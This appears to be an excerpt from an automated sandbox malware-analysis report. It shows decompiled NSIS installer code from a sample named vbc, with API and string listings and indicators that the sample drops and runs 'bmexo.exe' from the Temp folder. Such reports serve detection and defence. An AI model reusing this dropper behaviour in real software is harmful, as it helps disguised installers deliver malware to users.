Instruction Fuzzy Hash: 63C1ADB1500204BFDB216F65EE49E2A3AA8EBC6745F00853EF741B55E0CB3D5851DB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403D1D Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403D1D(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x7a8ab0;
				_t22 = E00406A3B(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x7a1f88;
					L"1033" = 0x30;
					 *0x7b5002 = 0x78;
					 *0x7b5004 = 0;
					E0040653C(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x7a1f88, 0);
					__eflags =  *0x7a1f88;
					if(__eflags == 0) {
						E0040653C(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x7a1f88, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004065B5(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403FF3(_t78, _t90);
				 *0x7a8b20 =  *0x7a8ab8 & 0x00000020;
				 *0x7a8b3c = 0x10000;
				if(E00406045(_t90, 0x7b3800) != 0) {
					L16:
					if(E00406045(_t98, 0x7b3800) == 0) {
						E004066AB(_t76, 0, _t82, 0x7b3800,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x7a8aa0, 0x67, 1, 0, 0, 0x8040);
					 *0x7a7a88 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403FF3(_t78, __eflags);
							__eflags =  *0x7a8b40;
							if( *0x7a8b40 != 0) {
								_t33 = E004057A3(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x7a7a6c;
								if( *0x7a7a6c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x7a1f68, 5); // executed
							_t39 = E004069CB("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004069CB("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x7a7a40);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x7a7a40);
								 *0x7a7a64 = _t87;
								RegisterClassW(0x7a7a40);
							}
							_t44 = DialogBoxParamW( *0x7a8aa0,  *0x7a7a80 + 0x00000069 & 0x0000ffff, 0, E004040CB, 0); // executed
							E00403C6D(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x7a8aa0;
						 *0x7a7a44 = E00401000;
						 *0x7a7a50 =  *0x7a8aa0;
						 *0x7a7a54 = _t30;
						 *0x7a7a64 = 0x40a3b4;
						if(RegisterClassW(0x7a7a40) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x7a1f68 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x7a8aa0, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x7a6a40;
					E0040653C(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x7a8ad8 + _t78 * 2,  *0x7a8ad8 +  *(_t82 + 0x4c) * 2, 0x7a6a40, 0);
					_t63 =  *0x7a6a40; // 0x43
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x7a6a42;
						 *((short*)(E00405F6A(0x7a6a42, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E0040666E(0x7b3800, E00405F3D(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405F89(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403d23
0x00403d2c
0x00403d33
0x00403d35
0x00403d49
0x00403d5b
0x00403d64
0x00403d6d
0x00403d74
0x00403d79
0x00403d80
0x00403d93
0x00403d93
0x00403d9e
0x00403d37
0x00403d42
0x00403d42
0x00403da3
0x00403db6
0x00403dbb
0x00403dcc
0x00403e5e
0x00403e66
0x00403e6f
0x00403e6f
0x00403e85
0x00403e8b
0x00403e99
0x00403f1a
0x00403f22
0x00403f2c
0x00403f31
0x00403f37
0x00403fc1
0x00403fc6
0x00403fc8
0x00403fe4
0x00000000
0x00403fe4
0x00403fca
0x00403fd0
0x00403fd8
0x00403fd8
0x00000000
0x00403fd0
0x00403f45
0x00403f50
0x00403f55
0x00403f57
0x00403f5e
0x00403f5e
0x00403f69
0x00403f71
0x00403f73
0x00403f75
0x00403f7e
0x00403f81
0x00403f87
0x00403f87
0x00403fa6
0x00403fb7
0x00000000
0x00403fbc
0x00403f24
0x00403f26
0x00000000
0x00403e9b
0x00403e9b
0x00403ea7
0x00403eb1
0x00403eb7
0x00403ebc
0x00403ecb
0x00403fe9
0x00403fe9
0x00000000
0x00403fe9
0x00403eda
0x00403f15
0x00000000
0x00403f15
0x00403dd2
0x00403dd2
0x00403dd5
0x00403dd7
0x00000000
0x00000000
0x00403de5
0x00403df7
0x00403dfc
0x00403e05
0x00000000
0x00000000
0x00403e0b
0x00403e0d
0x00403e1a
0x00403e1a
0x00403e23
0x00403e29
0x00403e51
0x00403e59
0x00000000
0x00403e3b
0x00403e3c
0x00403e45
0x00403e4b
0x00403e4c
0x00000000
0x00403e4c
0x00403e47
0x00403e49
0x00000000
0x00000000
0x00000000
0x00403e49
0x00403e29

APIs

Part of subcall function 00406A3B: GetModuleHandleA.KERNEL32(?,00000020,?,00403756,0000000B), ref: 00406A4D
Part of subcall function 00406A3B: GetProcAddress.KERNEL32(00000000,?), ref: 00406A68

lstrcatW.KERNEL32 ref: 00403D9E
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,?,?,?,C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000000,007B3800,1033,007A1F88,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F88,00000000,00000002,7556D4C4), ref: 00403E1E
lstrcmpiW.KERNEL32(?,.exe,C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,?,?,?,C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000000,007B3800,1033,007A1F88,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F88,00000000), ref: 00403E31
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,?,00000000,?), ref: 00403E3C
LoadImageW.USER32 ref: 00403E85

Part of subcall function 004065B5: wsprintfW.USER32 ref: 004065C2

RegisterClassW.USER32 ref: 00403EC2
SystemParametersInfoW.USER32 ref: 00403EDA
CreateWindowExW.USER32 ref: 00403F0F
ShowWindow.USER32(00000005,00000000), ref: 00403F45
GetClassInfoW.USER32 ref: 00403F71
GetClassInfoW.USER32 ref: 00403F7E
RegisterClassW.USER32 ref: 00403F87
DialogBoxParamW.USER32 ref: 00403FA6

Strings

RichEd20, xrefs: 00403F4B
@zz, xrefs: 00403E94
RichEdit, xrefs: 00403F78
RichEd32, xrefs: 00403F59
RichEdit20W, xrefs: 00403F69, 00403F6F
_Nb, xrefs: 00403EA1, 00403F09
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D22
Control Panel\Desktop\ResourceLocale, xrefs: 00403D51
.DEFAULT\Control Panel\International, xrefs: 00403D89
.exe, xrefs: 00403E2B
1033, xrefs: 00403D3D, 00403D99
C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya, xrefs: 00403DE5, 00403DEE, 00403DFC, 00403E4B, 00403E51

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$@zz$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-622700630
Opcode ID: 13dc47a7a0bb2ebca6ba8b70f4dc1bd23eb177df04af224418cffa241dba538e
Instruction ID: b3798c48b8e7ed104fde3a001c8dc5b3ad58c50dca8dc7adab70101e5acdd628
Opcode Fuzzy Hash: 13dc47a7a0bb2ebca6ba8b70f4dc1bd23eb177df04af224418cffa241dba538e
Instruction Fuzzy Hash: 6561C170640200BED620AF669D46F2B3A6CEBC5B45F40853FF941B62E2DB7D8901CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 004030D0 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 202
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E004030D0(void* __eflags, signed int _a4) {
				long _v8;
				long _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v40;
				short _v560;
				long _t54;
				void* _t57;
				void* _t61;
				intOrPtr _t64;
				void* _t67;
				intOrPtr* _t69;
				long _t81;
				signed int _t88;
				intOrPtr _t91;
				void* _t94;
				void* _t99;
				void* _t103;
				long _t104;
				long _t107;
				void* _t108;

				_v8 = 0;
				_v12 = 0;
				 *0x7a8aac = GetTickCount() + 0x3e8;
				GetModuleFileNameW(0, 0x7b6800, 0x400);
				_t103 = E0040615E(0x7b6800, 0x80000000, 3);
				 *0x40a018 = _t103;
				if(_t103 == 0xffffffff) {
					return L"Error launching installer";
				}
				E0040666E(0x7b4800, 0x7b6800);
				E0040666E(0x7b7000, E00405F89(0x7b4800));
				_t54 = GetFileSize(_t103, 0);
				 *0x79f740 = _t54;
				_t107 = _t54;
				if(_t54 <= 0) {
					L22:
					E0040302E(1);
					_pop(_t94);
					if( *0x7a8ab4 == 0) {
						goto L30;
					}
					if(_v12 == 0) {
						L26:
						_t57 = GlobalAlloc(0x40, _v20); // executed
						_t108 = _t57;
						 *0x40ce78 = 0xb;
						 *0x40ce90 = 0; // executed
						E0040618D(_t94,  &_v560, L"C:\\Users\\Albus\\AppData\\Local\\Temp\\"); // executed
						_t61 = CreateFileW( &_v560, 0xc0000000, 0, 0, 2, 0x4000100, 0); // executed
						 *0x40a01c = _t61;
						if(_t61 != 0xffffffff) {
							_t64 = E004035FE( *0x7a8ab4 + 0x1c);
							 *0x79f744 = _t64;
							 *0x79f738 = _t64 - ( !_v40 & 0x00000004) + _v16 - 0x1c; // executed
							_t67 = E00403377(_v16, 0xffffffff, 0, _t108, _v20); // executed
							if(_t67 == _v20) {
								 *0x7a8ab0 = _t108;
								 *0x7a8ab8 =  *_t108;
								if((_v40 & 0x00000001) != 0) {
									 *0x7a8abc =  *0x7a8abc + 1;
								}
								_t45 = _t108 + 0x44; // 0x44
								_t69 = _t45;
								_t99 = 8;
								do {
									_t69 = _t69 - 8;
									 *_t69 =  *_t69 + _t108;
									_t99 = _t99 - 1;
								} while (_t99 != 0);
								 *((intOrPtr*)(_t108 + 0x3c)) =  *0x79f734;
								E00406119(0x7a8ac0, _t108 + 4, 0x40);
								return 0;
							}
							goto L30;
						}
						return L"Error writing temporary file. Make sure your temp folder is valid.";
					}
					E004035FE( *0x79f730);
					if(E004035E8( &_a4, 4) == 0 || _v8 != _a4) {
						goto L30;
					} else {
						goto L26;
					}
				} else {
					do {
						_t104 = _t107;
						asm("sbb eax, eax");
						_t81 = ( ~( *0x7a8ab4) & 0x00007e00) + 0x200;
						if(_t107 >= _t81) {
							_t104 = _t81;
						}
						if(E004035E8(0x797730, _t104) == 0) {
							E0040302E(1);
							L30:
							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x7a8ab4 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E0040302E(0);
							}
							goto L19;
						}
						E00406119( &_v40, 0x797730, 0x1c);
						_t88 = _v40;
						if((_t88 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
							_a4 = _a4 | _t88;
							 *0x7a8b40 =  *0x7a8b40 | _a4 & 0x00000002;
							_t91 = _v16;
							 *0x7a8ab4 =  *0x79f730;
							if(_t91 > _t107) {
								goto L30;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v12 = _v12 + 1;
								_t107 = _t91 - 4;
								if(_t104 > _t107) {
									_t104 = _t107;
								}
								goto L19;
							} else {
								goto L22;
							}
						}
						L19:
						if(_t107 <  *0x79f740) {
							_v8 = E00406B28(_v8, 0x797730, _t104);
						}
						 *0x79f730 =  *0x79f730 + _t104;
						_t107 = _t107 - _t104;
					} while (_t107 != 0);
					goto L22;
				}
			}

0x004030de
0x004030e1
0x004030fb
0x00403100
0x00403113
0x00403118
0x0040311e
0x00000000
0x00403120
0x00403131
0x00403142
0x00403149
0x00403151
0x00403156
0x00403158
0x00403246
0x00403248
0x00403253
0x00403254
0x00000000
0x00000000
0x0040325d
0x00403289
0x0040328e
0x00403294
0x004032a2
0x004032a9
0x004032af
0x004032ca
0x004032d3
0x004032d8
0x004032f7
0x00403307
0x00403319
0x0040331e
0x00403326
0x00403333
0x0040333b
0x00403340
0x00403342
0x00403342
0x0040334a
0x0040334a
0x0040334d
0x0040334e
0x0040334e
0x00403351
0x00403353
0x00403353
0x0040335d
0x00403369
0x00000000
0x0040336e
0x00000000
0x00403326
0x00000000
0x004032da
0x00403265
0x00403277
0x00000000
0x00000000
0x00000000
0x00000000
0x0040315e
0x0040315e
0x00403163
0x00403167
0x0040316e
0x00403175
0x00403177
0x00403177
0x00403186
0x004032e6
0x00403328
0x00000000
0x00403328
0x00403192
0x00403216
0x00403219
0x0040321e
0x00000000
0x00403216
0x0040319f
0x004031a4
0x004031ac
0x004031d2
0x004031e1
0x004031e7
0x004031ec
0x004031f2
0x00000000
0x00000000
0x004031fc
0x00403204
0x00403207
0x0040320c
0x0040320e
0x0040320e
0x00000000
0x00000000
0x00000000
0x00000000
0x004031fc
0x0040321f
0x00403225
0x00403235
0x00403235
0x00403238
0x0040323e
0x0040323e
0x00000000
0x0040315e

APIs

GetTickCount.KERNEL32(7556D4C4,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,007B6800,00000400), ref: 00403100

Part of subcall function 0040615E: GetFileAttributesW.KERNELBASE(00000003,00403113,007B6800,80000000,00000003), ref: 00406162
Part of subcall function 0040615E: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406184

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,007B4800,007B4800,007B6800,007B6800,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328E

Strings

Null, xrefs: 004031C9
Error launching installer, xrefs: 00403120
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403328
Inst, xrefs: 004031B7
C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 0040329C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032DA
soft, xrefs: 004031C0

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2435864027
Opcode ID: 323c9084f4495cb75f4cf70951988b51dd1d9d869199bcaf0981bfe9882d4e48
Instruction ID: 583a998f33a1e047253031f1d22d0aa602d55a867c39f8e0fceec447792fd132
Opcode Fuzzy Hash: 323c9084f4495cb75f4cf70951988b51dd1d9d869199bcaf0981bfe9882d4e48
Instruction Fuzzy Hash: 0671E171940204ABCB20DFA5EE85A9E3FA8AB11316F10817FF900B62D1DB7C9E418B5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __esi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				WCHAR* _t81;
				void* _t83;
				void* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402DA6(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x30) & 0x00000007;
				_t35 = E00405FB4( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t81 = L"C:\\U";
				if(_t35 == 0) {
					lstrcatW(E00405F3D(E0040666E(_t81, 0x7b4000)), ??);
				} else {
					E0040666E();
				}
				E004068F5(_t81);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E004069A4(_t81);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x24);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00406139(_t81);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E0040615E(_t81, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x38) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004056D0(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x7a8b28;
						goto L32;
					} else {
						E0040666E(0x40b5f8, _t83);
						E0040666E(_t83, _t81);
						E004066AB(_t77, _t81, _t83, "C:\Users\Albus\AppData\Local\Temp",  *((intOrPtr*)(_t86 - 0x1c)));
						E0040666E(_t83, 0x40b5f8);
						_t64 = E00405CCE("C:\Users\Albus\AppData\Local\Temp",  *(_t86 - 0x30) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x7a8b28 =  &( *0x7a8b28->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t81);
								_push(0xfffffffa);
								E004056D0();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004056D0(0xffffffea,  *(_t86 - 8));
				 *0x7a8b54 =  *0x7a8b54 + 1;
				_t45 = E00403377(_t79,  *((intOrPtr*)(_t86 - 0x28)),  *(_t86 - 0x38), _t77, _t77); // executed
				 *0x7a8b54 =  *0x7a8b54 - 1;
				__eflags =  *(_t86 - 0x24) - 0xffffffff;
				_t84 = _t45;
				if( *(_t86 - 0x24) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x38), _t86 - 0x24, _t77, _t86 - 0x24); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x20)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x20)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x38)); // executed
				__eflags = _t84 - _t77;
				if(_t84 >= _t77) {
					goto L31;
				} else {
					__eflags = _t84 - 0xfffffffe;
					if(_t84 != 0xfffffffe) {
						E004066AB(_t77, _t81, _t84, _t81, 0xffffffee);
					} else {
						E004066AB(_t77, _t81, _t84, _t81, 0xffffffe9);
						lstrcatW(_t81,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t81);
					E00405CCE();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x0040292e
0x0040292e
0x00402c2a
0x00402c2d
0x00402c2d
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402c33
0x00402c33
0x00402c33
0x00401867
0x00401867
0x00401868
0x00401493
0x0040239d
0x0040239d
0x0040239d
0x00401865
0x0040185e
0x00402c35
0x00402c39
0x00402c39
0x00401892
0x00401897
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x00402398
0x00000000
0x00402398
0x00000000

APIs

lstrcatW.KERNEL32 ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,00000000,00000000,C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya,007B4000,?,?,00000031), ref: 004017D5

Part of subcall function 0040666E: lstrcpynW.KERNEL32(?,?,00000400,004037B6,007A7AA0,NSIS Error), ref: 0040667B

Part of subcall function 004056D0: lstrlenW.KERNEL32(007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405708
Part of subcall function 004056D0: lstrlenW.KERNEL32(004030A8,007A0F68,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405718
Part of subcall function 004056D0: lstrcatW.KERNEL32 ref: 0040572B
Part of subcall function 004056D0: SetWindowTextW.USER32 ref: 0040573D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405763
Part of subcall function 004056D0: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040577D
Part of subcall function 004056D0: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040578B

Strings

C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp, xrefs: 00401835, 00401851

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
API String ID: 1941528284-1009698528
Opcode ID: c88ed36c007d22437061545d9d5dec38a2b75a4754de15431c99bf9f19713014
Instruction ID: c895feda3e823d9c0bc0fb7144dfd3dc41df657037fc16576ccee127d24ab7e8
Opcode Fuzzy Hash: c88ed36c007d22437061545d9d5dec38a2b75a4754de15431c99bf9f19713014
Instruction Fuzzy Hash: CB41D571800108BACF11BBB5DD85DAE7679EF45328F20463FF422B11E1DB3D89619A2E

Uniqueness

Uniqueness Score: -1.00%

Function 0040347F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040347F(intOrPtr _a4) {
				intOrPtr _t11;
				signed int _t12;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t30;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t36;
				intOrPtr _t48;

				_t33 =  *0x79f734 -  *0x40ce60 + _a4;
				 *0x7a8aac = GetTickCount() + 0x1f4;
				if(_t33 <= 0) {
